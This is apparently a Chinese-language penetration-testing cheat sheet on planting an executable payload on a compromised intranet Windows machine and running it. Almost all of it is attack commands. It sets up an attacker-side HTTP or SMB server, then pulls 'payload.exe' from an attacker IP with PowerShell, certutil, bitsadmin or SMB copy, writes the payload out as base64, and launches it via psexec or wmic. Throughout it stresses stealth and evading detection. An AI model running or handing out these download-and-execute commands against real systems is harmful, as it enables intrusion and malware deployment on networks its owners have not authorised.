15-21
约 1001 字大约 3 分钟
2025-11-02
内网文件 exe 落地怎么去做,用什么命令去执行来落地
1. 文件落地前的准备
在执行文件落地之前,你需要做好以下准备工作:
- 选择合适的工具:你需要一个轻量、隐蔽、功能强大的工具,例如
meterpreter,它支持直接在内存中执行 Shellcode,避免文件落地。如果你必须落地文件,可以选择用 C++ 或 Go 等语言编写的、没有明显恶意特征的自定义 Payload - 设置文件服务器:在你的攻击机上,你需要搭建一个简单的 Web 服务器或 SMB 服务器,以便目标机器能够下载文件
- HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:
python3 -m http.server 80 - SMB 服务器:使用
Impacket工具包中的smbserver.py脚本,可以搭建一个 SMB 服务器
- HTTP 服务器:在 Python 中,你可以用一行命令快速启动一个 HTTP 服务器:
2. 内网文件落地常用命令
一旦你获得了目标机器的权限,就可以使用以下命令来下载文件:
方法一:使用 PowerShell (推荐)
PowerShell 是现代 Windows 系统自带的强大脚本语言,也是渗透测试中最常用的文件落地工具
使用
Invoke-WebRequest或iwr这是最常用的方法,它可以在后台下载文件,并且功能强大# 下载文件并保存到指定路径 Invoke-WebRequest -Uri http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe # 或者使用别名 iwr http://<攻击机IP>/payload.exe -OutFile C:\Users\Public\payload.exe使用
.NET对象 这种方法更隐蔽,因为它直接调用 .NET 库,而不是通过一个特定的 cmdlet$WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("http://<攻击机IP>/payload.exe", "C:\Users\Public\payload.exe")
方法二:使用 certutil
certutil 是 Windows 系统自带的命令行工具,通常用于管理证书,但它也提供了下载文件的功能
下载命令
certutil -urlcache -split -f "http://<攻击机IP>/payload.exe" C:\Users\Public\payload.exe-urlcache:允许从 URL 下载-split:将下载的文件保存为独立文件-f:强制下载文件
方法三:使用 bitsadmin
bitsadmin 是 Windows 后台智能传输服务(BITS)的命令行工具。BITS 服务主要用于在网络中断后自动恢复下载,非常适合在不稳定网络环境下使用
下载命令
bitsadmin /transfer myjob http://<攻击机IP>/payload.exe C:\Users\Public\payload.exe
方法四:使用 SMB 协议
如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽
下载命令
copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe
方法五:将文件内容写入文件
这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况
原理:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过
echo命令或certutil -decode等方式,将文本内容写入一个新文件,并将其解码为可执行文件示例
在攻击机上,将
payload.exe转换为 Base64 编码:base64 payload.exe > payload.b64在目标机上,使用
echo将 Base64 字符串写入一个临时文件:echo <base64编码字符串> > C:\Users\Public\payload.b64使用
certutil将 Base64 文件解码为可执行文件:certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe
3. 文件落地后的执行
文件落地成功后,你需要执行它。执行命令取决于你获得的权限
在命令行中直接执行 如果你已经获得了 Shell,可以直接输入文件路径来执行:
C:\Users\Public\payload.exe使用
psexec如果你有域管理员权限,可以使用psexec在目标机器上远程执行文件使用 WMI 利用 Windows Management Instrumentation (WMI),你可以通过远程方式在目标机器上执行进程
wmic process call create "C:\Users\Public\payload.exe"